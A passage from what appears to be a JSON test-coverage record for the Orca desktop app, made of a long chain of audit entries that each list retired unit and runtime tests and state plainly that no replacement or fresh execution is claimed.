performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic main-IPC contract tests cover disconnect-driven close delivery, exactly-once close, per-subscription teardown isolation against a failing socket close and a throwing liveness probe, containment of a throwing renderer send on the unguarded host-close path, and continued suppression of stale payloads from a retired transport. A headed paired-server journey (real Orca host plus a separate paired Orca desktop client) covers hidden-but-mounted reveal, cold-parked reveal, and cold-parked reveal across a disconnect/reconnect. Live Linux and Windows paired-server evidence and real sleep/wake transport loss remain uncollected.", "motivatingLinks": ["tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts"], "invariant": "Every renderer-held runtime subscription receives exactly one terminal close event when its transport is retired, including when the retirement advanced the transport generation first, and a single failing teardown never abandons that environment's remaining subscriptions nor escapes into the transport that reported the close. Payload frames from a retired transport stay suppressed. A revealed remote terminal therefore reattaches over a live multiplex connection: its buffer restores, typed input reaches the host PTY, the echo paints without a tab flip, and the PTY converges on the revealed pane grid.", - "oracle": "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Previous oracle (preserved verbatim): Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous oracle (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous oracle (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous oracle (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous oracle (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous oracle (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous oracle (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous oracle (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous oracle (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous oracle (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous oracle (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous oracle (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous oracle (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous oracle (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Previous oracle (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal 